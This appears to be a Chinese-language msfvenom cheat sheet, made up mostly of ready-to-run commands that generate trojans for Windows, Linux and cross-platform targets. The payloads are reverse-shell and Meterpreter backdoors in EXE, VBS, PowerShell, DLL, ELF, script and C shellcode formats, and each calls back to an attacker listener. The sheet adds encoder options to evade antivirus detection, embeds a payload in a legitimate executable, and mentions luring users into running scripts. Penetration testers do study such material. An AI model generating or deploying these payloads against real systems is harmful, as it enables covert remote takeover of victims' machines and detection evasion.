目录
2. VBS 脚本(Visual Basic Script)
什么是 msfvenom
?
msfvenom
是 Metasploit 框架中的一个工具,用于生成各种类型的Payload(有效载荷),可以用来创建木马、后门等。它支持多种编码方式、文件格式和平台,生成的木马可以用于测试系统的安全性。
常用参数说明:
-
-p
:指定 Payload 类型(例如windows/meterpreter/reverse_tcp
)。 -
-f
:指定输出格式(例如exe
、elf
、py
等)。 -
-o
:指定输出文件路径。 -
-b
:避免使用某些坏字符(例如\x00
)。 -
-e
:指定编码器(例如x86/shikata_ga_nai
)。 -
-i
:指定编码迭代次数。 -
LHOST
:监听主机的 IP 地址。 -
LPORT
:监听端口。
一、针对 Windows 的木马生成命令
以下是针对 Windows 平台的常用 Payload 示例,涵盖不同语言和格式。
1. EXE 格式(经典可执行文件)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /path/to/output/malware.exe
-
解释:
-
Payload:
windows/meterpreter/reverse_tcp
(反向 TCP 连接的 Meterpreter Shell)。 -
输出格式:
exe
(Windows 可执行文件)。 -
用途:生成一个基本的 Windows 木马,连接回攻击者的 IP 和端口。
-
2. VBS 脚本(Visual Basic Script)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs -o /path/to/output/malware.vbs
-
解释:
-
输出格式:
vbs
(VBScript 脚本)。 -
用途:适合通过社会工程学诱导用户执行脚本。
-
3. PowerShell 脚本
msfvenom -p windows/powershell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh -o /path/to/output/malware.ps1
-
解释:
-
Payload:
windows/powershell/reverse_tcp
(基于 PowerShell 的反向 Shell)。 -
输出格式:
psh
(PowerShell 脚本)。 -
用途:利用 Windows 自带的 PowerShell 执行。
-
4. DLL 文件(动态链接库)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o /path/to/output/malware.dll
-
解释:
-
输出格式:
dll
(动态链接库)。 -
用途:可以注入到其他进程中执行。
-
5. Python 脚本(跨平台,但针对 Windows)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
-
解释:
-
输出格式:
py
(Python 脚本)。 -
用途:需要在目标上有 Python 环境。
-
6. 添加编码避免检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o /path/to/output/malware.exe
-
解释:
-
编码器:
x86/shikata_ga_nai
(多态编码器)。 -
迭代次数:
-i 5
(编码 5 次)。 -
坏字符:
-b "\x00"
(避免空字节)。
-
二、针对 Linux 的木马生成命令
以下是针对 Linux 平台的常用 Payload 示例。
1. ELF 文件(Linux 可执行文件)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o /path/to/output/malware.elf
-
解释:
-
Payload:
linux/x86/meterpreter/reverse_tcp
(Linux 下的反向 Meterpreter)。 -
输出格式:
elf
(Linux 可执行文件格式)。 -
用途:直接在 Linux 上运行。
-
2. Bash 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f sh -o /path/to/output/malware.sh
-
解释:
-
Payload:
linux/x86/shell_reverse_tcp
(反向 Shell)。 -
输出格式:
sh
(Shell 脚本)。 -
用途:生成简单的 Bash 脚本木马。
-
3. Python 脚本(跨平台,但针对 Linux)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
-
解释:
-
输出格式:
py
(Python 脚本)。 -
用途:需要目标安装 Python。
-
4. Perl 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f pl -o /path/to/output/malware.pl
-
解释:
-
输出格式:
pl
(Perl 脚本)。 -
用途:适合在支持 Perl 的 Linux 系统上运行。
-
5. 添加编码避免检测
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f elf -o /path/to/output/malware.elf
-
解释:
-
与 Windows 类似,使用编码器和坏字符过滤。
-
三、跨平台 Payload 示例
以下是一些跨平台的木马生成命令,通常依赖目标环境的解释器(如 Python、Ruby 等)。
1. Python 跨平台木马
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o /path/to/output/malware.py
-
解释:
-
Payload:
python/meterpreter/reverse_tcp
。 -
输出格式:
raw
(纯 Python 代码)。 -
用途:可在 Windows 和 Linux 上运行(需要 Python)。
-
2. Ruby 脚本
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f rb -o /path/to/output/malware.rb
-
解释:
-
输出格式:
rb
(Ruby 脚本)。 -
用途:需要目标安装 Ruby。
-
四、其他实用技巧
1. 生成多平台 Payload 并嵌入到现有文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legit.exe -f exe -o /path/to/output/infected.exe
-
解释:
-
-x
:将 Payload 嵌入到一个合法的可执行文件中。
-
2. 生成原始 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
-
解释:
-
输出格式:
c
(生成 C 语言格式的 Shellcode)。 -
用途:用于手动注入或开发自定义恶意软件。
-
3. 列出所有可用 Payload
msfvenom --list payloads
-
解释:查看所有支持的 Payload 类型。